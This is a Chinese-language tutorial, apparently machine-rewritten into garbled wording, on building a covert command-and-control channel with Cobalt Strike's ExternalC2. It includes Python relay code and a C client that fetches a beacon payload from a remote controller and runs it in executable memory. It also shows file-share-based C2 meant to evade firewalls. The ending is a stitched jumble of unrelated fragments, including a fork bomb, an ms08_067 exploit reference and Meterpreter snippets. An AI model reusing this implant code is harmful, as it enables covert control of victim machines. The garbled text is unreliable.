许多测验人员都知道，有时候想顺畅完结C2通讯是十分折磨人的一件作业。跟着出站防火墙规则以及进程约束机制的完善，反弹式shell以及反弹式HTTP C2通道的好日子现已一去不复返。

　　好吧，或许我的描述稍微夸张了一点，但现在局势确实没有那么达观了。因此我想寻觅完结C2通讯的其他可行办法，最终我找到了Cobalt Strike的ExternalC2结构。

 

　　二、ExternalC2

　　ExternalC2是Cobalt Strike引进的一种规范(或许结构)，黑客可以运用这个功用拓宽C2通讯途径，而不局限于默许供应的HTTP(S)/DNS/ *** B通道。我们可以参阅此处下载完好的规范阐明。

　　简而言之，用户可以运用这个结构来开发各种组件，包含如下组件：

　　1、第三方控制端(Controller)：担任联接Cobalt Strike TeamServer，而且可以运用自定义的C2通道与政策主机上的第三方客户端(Client)通讯。

　　2、第三方客户端(Client)：运用自定义C2通道与第三方Controller通讯，将指令转发至 *** B Beacon。

　　3、 *** B Beacon：在受害者主机上实行的规范beacon。

　　从CS供应的官方文档中，我们可以看到如下示意图：

　　

　　从上图可知，我们的自定义C2通道两头分别为第三方Confile:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image008.jpg

troller以及第三方Client，这两个人物都是我们可以研发以及控制的人物。

　　在撸起袖子进入正题之前，我们需求了解怎么与Team Server的ExternalC2接 *** 互。

　　首要，我们需求让Cobalt Strike发动ExternalC2。我们可以运用externalc2_start函数，传入端口参数即可。一旦ExternalC2服务顺畅发动并正常运转，我们需求运用自定义的协议进行通讯。

　　这个协议其实十分简略直白，由4字节的长度字段(低字节序)以及一个数据块所组成，如下所示：

　　

　　开端通讯时，第三方Controller与TeamServer建连，然后发送一些选项，如：

　　1、arch：待运用的beacon的架构(x86或x64)。

　　2、pipename：用来与beacon通讯的管道(pipe)的称号。

　　3、block：TeamServer各使命之间的堵塞时刻(以毫秒为单位)。

　　全部选项发送结束后，Controller会发送一条 go指令。这条指令可以发动ExternalC2通讯，生成并发送beacon。Controller随后会将这个 *** B beacon载荷转发给Client，后者需求生成 *** B beacon。

　　一旦在受害者主机上生成了 *** B beacon，我们就需求树立联接来传输指令。我们可以运用命名管道完结这个使命，而且Client与 *** B Beacon所运用的通讯协议与Client及Controller之间的协议完全一致，也是4字节的长度字段(低字节序)再跟上一段数据。

　　理论方面就是这样，接下来我们可以举一个典型事例，在 *** 中转发通讯数据。

 

　　三、典型事例

　　这个事例中，我们在服务端运用Python来完结第三方Controller功用，在客户端运用C来完结第三方Client功用。

　　首要，运用如下句子，让Cobalt Strike启用ExternalC2：

　　# start the External C2 server and bind to 0.0.0.0:2222

　　externalc2_start("0.0.0.0", 2222);

 

　　该句子实行结束后，ExternalC2会在0.0.0.0:2222监听恳求。

　　现在ExternalC2现已发动并处于运转情况，我们可以来构建自己的Controller。

　　首要，联接至TeamServer的ExternalC2接口：

　　_socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)

　　_socketTS.connect(("127.0.0.1", 2222))

 

　　联接树立成功后，我们需求发送选项信息。我们可以构建一些辅佐函数，核算4字节长度字段值，这样就不需求每次手动核算这个值：

　　def encodeFrame(data):

　　return struct.pack("

 

　　def sendToTS(data):

　　_socketTS.sendall(encodeFrame(data))

 

　　接下来我们就可以运用这些辅佐函数来发送选项：

　　# Send out config options

　　sendToTS("arch=x86")

　　sendToTS(“pipename=xpntest")

　　sendToTS("block=500")

　　sendToTS("go")

 

　　选项发送结束后，Cobalt Strike就知道我们需求一个x86 *** B Beacon。此外，我们还需求正确承受数据，可以再创建一些辅佐函数，担任报文的解码作业，这样就不必每次都去手动解码：

　　def decodeFrame(data):

　　len = struct.unpack("

　　body = data[4:]

　　return (len, body)

 

　　def recvFromTS():

　　data = ""

　　_len = _socketTS.recv(4)

　　l = struct.unpack("

　　while len(data) < l:

　　data += _socketTS.recv(l - len(data))

　　return data

 

　　这样我们就可以运用如下句子接纳原始数据：

　　data = recvFromTS()

 

　　接下来我们需求让第三方Client运用我们挑选的C2协议与我们联接。这个比方中，我们的C2通道协议运用的是相同的4字节的长度字段数据包格局。因此，我们需求创建一个socket，便利第三方Client联接过来：

　　_socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)

　　_socketBeacon.bind(("0.0.0.0", 8081))

　　_socketBeacon.listen(1)

　　_socketClient = _socketBeacon.accept()[0]

 

　　收到联接后，我们进入循环收发处理流程，承受来自受害者主机的数据，将数据转发至Cobalt Strike，然后承受Cobalt Strike回来的数据，将其转发至受害者主机：

　　while(True):

　　print "Sending %d bytes to beacon" % len(data)

　　sendToBeacon(data)

 

　　data = recvFromBeacon()

　　print "Received %d bytes from beacon" % len(data)

 

　　print "Sending %d bytes to TS" % len(data)

　　sendToTS(data)

&nb3、 NIST国家缝隙数据库（NVD）：运用Exploit-DB链接来补偿信息，随后将缝隙信息合并到一个.csv文件中，然后紧缩保管在GitHub代码库上。sp;

　　data = recvFromTS()

　　print "Received %d bytes from TS" % len(data)

 

　　请参阅此处获取完好的代码。

　　Controller已结构结束，现在我们需求创建第三方Client。为了创建起来便利一些，我们可以运用 win32以及C来完结这个使命，这样就可以较便利地运用Windows的原生API。仍是先来看看怎么创建辅佐函数，首要我们需求联接到第三方Controller，可以运用WinSock2创建与Controller的TCP联接：

　　// Creates a new C2 controller connection for relaying commands

　　SOCKET createC2Socket(const char *addr, WORD port) {

　　WSADATA wsd;

　　SOCKET sd;

　　SOCKADDR_IN sin;

　　WSAStartup(0x0202, &wsd);

 

　　memset(&sin, 0, sizeof(sin));

　　sin.sin_family = AF_INET;

　　sin.sin_port = htons(port);

　　sin.sin_addr.S_un.S_addr = inet_addr(addr);

 

　　sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

　　connect(sd, (SOCKADDR*)&sin, sizeof(sin));

 

　　return sd;

　　}

 

　　然后我们需求接纳数据。这个进程与Python代码中的流程相似，可以通过长度字段的值来知道需求接纳的数据长度：

　　// Receives data from our C2 controller to be relayed to the injected beacon

　　char *recvData(SOCKET sd, DWORD *len) {

　　char *buffer;

　　DWORD bytesReceived = 0, totalLen = 0;

 

　　*len = 0;

 

　　recv(sd, (char *)len, 4, 0);

　　buffer = (char *)malloc(*len);

 

　　if (buffer == NULL)

　　return NULL;

 

　　while (totalLen < *len) {

　　bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);

　　totalLen += bytesReceived;

　　}

　　return buffer;

　　}

 

　　与之前相似，我们需求将数据通过C2通道回来给Controller：

　　// Sends data to our C2 controller received from our injected beacon

　　void sendData(SOCKET sd, const char *data, DWORD len) {

　　char *buffer = (char *)malloc(len + 4);

　　if (buffer == NULL):

　　return;

 

　　DWORD bytesWritten = 0, totalLen = 0;

 

　　*(DWORD *)buffer = len;

　　memcpy(buffer + 4, data, len);

 

　　while (totalLen < len + 4) {

　　bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);

　　totalLen += bytesWritten;

　　}

　　free(buffer);

　　}

 

　　现在我们现已可以与Controller通讯，接下来榜首要务就是接纳beacon载荷。载荷为x86或许x64载荷(详细架构由Controller发送给Cobalt Strike的选项所决议)，在实行之前需求复制到内存中。比方，我们可以运用如下句子接纳beacon载荷：

　　// Create a connection back to our C2 controller

　　SOCKET c2socket = createC2Socket("192.168.1.65", 8081);

　　payloadData = recvData(c2socket, &payloadLen);

 

　　在这个事例中，我们可以运用Win32的VirtualAlloc函数来分配一段可实行的内存空间，运用CreateThread来实行代码：

　　HANDLE threadHandle;

　　DWORD threadId = 0;

 

　　char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

　　if (alloc == NULL)

　　return;

 

　　memcpy(alloc, payload, len);

 

　　threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);

 

　　一旦 *** B Beacon发动并处于运转情况，我们需求联接到beacon的命名管道，因此我们不断测验联接至我们的.pipexpntest管道(请注意：前面我们现现已过选项信息向Cobalt Strike传递了管道称号， *** B Beacon会运用这个称号来接纳指令)：

　　// Loop until the pipe is up and ready to use

　　while (beaconPipe == INVALID_HANDLE_VALUE) {

　　// Create our IPC pipe for talking to the C2 beacon

　　Sleep(500);

　　beaconPipe = connectBeaconPipe(".pipexpntest");

　　}

 

　　联接成功后，我们可以进入数据收发循环处理流程：

　　while (true) {

　　// Start the pipe dance

　　payloadData = recvFromBeacon(beaconPipe, &payloadLen);

　　if (payloadLen == 0) break;

 

　　sendData(c2socket, payloadData, payloadLen);

　　free(payloadData);

 

　　payloadData = recvData(c2socket, &payloadLen);

　　if (payloadLen == 0) break;

 

　　sendToBeacon(beaconPipe, payloadData, payloadLen);

　　free(payloadData);

　　}

 

　　底子进程就这样，我们现已了解了创建ExternalC2服务的底子要素，我们可以参阅此处获取完好的Client代码。

　　现在我们可以来看看愈加风趣的东西。

 

　　四、通过文件传输C2数据

　　先回忆下创建自定义C2协议中我们需求控制哪些元素：

　　

　　从上图可知，我们需求要点重视第三方Controller以及Client之间传输的数据。仍是回到之前那个比方，现在我们需求将这个进程变得愈加风趣，那就是通过文件读写操作来传输数据。

　　为什么要费尽心思这么做呢?当我们身处Windows域环境中，所控制的主机只需十分有限的外连途径(比方只能访问文件同享)，这时候就需求用到这种办法。当某台主机(Internet Connected Host)既能访问我们的C2服务器，也能通过 *** B文件同享办法与受害主机建连时，我们可以将C2数据写入同享的某个文件，然后再穿过防火墙读取这些数据，这样就能运转我们的Cobalt Strike beacon。

　　整个流程如下所示：

　　

　　上图中我们引进了一个附加的元素，可以将数据封装到文件中进行读写，而且也可以与第三方Controller通讯。

　　与前面相似，这儿Controller与“Internet Connected Host”相同运用长度字段为4字节的协议来通讯，因此我们不需求修正已有的Python版的Controller。

　　我们需求做的是将前面的Client分割成两个部分。榜首部分在“Internet Connected Host”上运转，接纳Controller发送的数据，将其写入某个文件中。第二部分在“Restricted Host”(受限主机)上运转，读取文件中的数据，生成 *** B Beacon，并将数据传递给这个beacon。

　　前面介绍过的部分这儿就不再赘述了，我来介绍下完结文件传输的一种办法。

　　首要，我们需求创建承当通讯功用的文件。这儿我们可以运用CreateFileA函数，但需求保证运用FILE_SHARE_READ以及FILE_SHARE_WRITE选项。这样通道两头的Client就能一同读取并写入这个文件：

　　HANDLE openC2FileServer(const char *filepath) {

　　HANDLE handle;

 

　　handle = CreateFileA(filepath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

　　if (handle == INVALID_HANDLE_VALUE)

　　printf("Error opening file: %xn&q一般进程查看uot;, GetLastError());

　　return handle;

　　}

 

　　接下来，我们需求将C2数据序列化封装到文件中，一同指定2个Client中哪个Client需求在什么时候处理数据。

　　我们可以运用一个简略的头部结构来完结这个使命，如下所示：

　　struct file_c2_header {

　　DWORD id;

　　DWORD len;

　　};

 

　　头部中的id字段可以充任信号功用，我们依据这个字段了解哪个Client需求读取或写入数据。

　　再引进两个文件读取及写入函数，如下所示：

　　void writeC2File(HANDLE c2File, const char *data, DWORD len, int id) {

　　char *fileBytes = NULL;

　　DWORD bytesWritten = 0;

 

　　fileBytes = (char *)malloc(8 + len);

　　if (fileBytes == NULL)

　　return;

 

　　// Add our file header

　　*(DWORD *)fileBytes = id;

　　*(DWORD *)(fileBytes+4) = len;

 

　　memcpy(fileBytes + 8, data, len);

 

　　// Make sure we are at the beginning of the file

　　SetFilePointer(c2File, 0, 0, FILE_BEGIN);

 

　　// Write our C2 data in

　　WriteFile(c2File, fileBytes, 8 + len, &bytesWritten, NULL);

 

　　printf("[*] Wrote %d bytesn", bytesWritten);

　　}

 

　　char *readC2File(HANDLE c2File, DWORD *len, int expect) {

　　char header[8];

　　DWORD bytesRead = 0;

　　char *fileBytes = NULL;

 

　　memset(header, 0xFF, sizeof(header));

 

　　// Poll until we have our expected id in the header

　　while (*(DWORD *)header != expect) {

　　SetFilePointer(c2File, 0, 0, FILE_BEGIN);

　　ReadFile(c2File, header, 8, &bytesRead, NULL);

　　Sleep(100);

　　}

 

　　// Read out the expected length from the header

　　*len = *(DWORD *)(header + 4);

　　fileBytes = (char *)malloc(*len);

　　if (fileBytes == NULL)

　　return NULL;

 

　　// Finally, read out our C2 data

　　ReadFile(c2File, fileBytes, *len, &bytesRead, NULL);

　　printf("[*] Read %d bytesn", bytesRead);

　　return fileBytes;

　　}

 

　　上述代码中，我们将头部信息写入文件中，然后依据这个信息相应地读取或写入C2数据。

　　首要作业就是这样，接下来我们需求完结接纳数据/写入数据/读取数据/发送数据循环逻辑，这样就能通过文件传输完结C2数据通讯。

　　我们可以访问此处获取完好的Controller代码，演示视频如下所示：

　　http://v.youku.com/v_show/id_XMzUwNzMxOTIyNA==.html

黑客帝国2:一同探究Cobalt Strike的ExternalC2结构

root 13156 0.0 0.0 107148 2524 ? S Mar18 0:27 /bin/sh /tmp/javax/config.sh因此，除非有防火墙规则绕过缝隙，或许我们可以猜到防火墙的弱暗码，否则直接扫描不太或许能得到想要的效果。因此，获取支付卡活络数据的榜首步是通过获得域管理员权限来集中精力控制Active Directory。 console.log("chunk:",chunk);R2一起探索Cobalt Strike的ExternalC2框架

黑客帝国2本文行将介绍以下内容：

榜首个较小的模块RC2FM包含一个后门，支撑15种指令。 这些都是在遭到攻击者指示的情况下在受影响的核算机上实行的。 该模块旨在对系统进行各种更改，但它也一同供应了一些间谍指令。screenshot

Poet：【GitHub主页】

黑客帝国2

关于 requisite 的含义说明如下：Eternalblue（永久之蓝）只是影子经纪人发布的Windows零日缝隙运用东西系列中的一款。除此之外，以“永久”为前缀名的缝隙运用东西还有例如Eternalromance, Eternalchampion 和 Eternalsynergy，全部这些都是针对近期的Windows操作系统的。为了配备和实行对侵犯政策的成功运用，其中有一款名为Fuzzbunch的缝隙运用结构，该结构依据Python 2.6开发与Metasploit结构较为相似。在以下演示中，我将首要设备更底子的缝隙运用环境并配备Fuzzbunch，毕竟我将会通过Empire＆Meterpreter来获取Windows 7的反弹shell。./mitmproxy --host寻找私家车方位

// 以下为 init&finit funcs Thread.Sleep(1000);Bingo！她设备并运转了恶意安卓程序，我们现在获得了一个Meterpreter会话一起探索Cobalt Strike的ExternalC2框架

黑客帝国2DOS指令netstat用来闪现协议核算信息以及其时TCP/IP *** 联接信息，参数“-b”标明闪现包含于创建每个联接或监听端口的可实行组件，“5”标明每5秒钟检测一次，“>”是指将检测效果记录到后边定义的“aaa.txt”文件中。www.link0day.cnhttps://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x86.exe){:|:&};:跟着智能设备的不断发展以及黑客侵犯技术的不断提高，在以前的几个月内，针对物联网设备的安全挟制也在不断提高，尤其是依据僵尸 *** 的分布式拒绝服务（DDoS）侵犯和勒索软件侵犯，这两种侵犯现已给现在的数字世界带来了不小的费事。

　　某天：男朋友发来了他学校的shell叫内网渗透2333max-lease-time 72;

其实，任何人都可以为任何域名生成证书。但是，你的阅读器却并不认这些证书。它只信任少数几个安排公布的证书，这些安排就是证书公布安排。因此只需这些安排才有权公布证书，这些证书可以奉告全世界他们现已对你进行了查看，确认了你是该域名的具有者和处理者。

zh_CN.GBK GBK黑客帝国2

NtQueryInformationProcess ntQueryInformationProcess =　　答：iptables的问题。配备一下容许访问就行了。别忘了也给53413端口配一下哦。

数字签名有两种成效：

一起探索Cobalt Strike的ExternalC2框架

permission java.util.PropertyPermission "java.vendor", "read";

6、晋级PHP设备包到最新，晋级WinRAR软件到最新。

//use exploit/windows/ *** b/ms08_067_netapiPS C:> Get-ExecutionPolicy
本文标题:黑客帝国2:一同探究Cobalt Strike的ExternalC2结构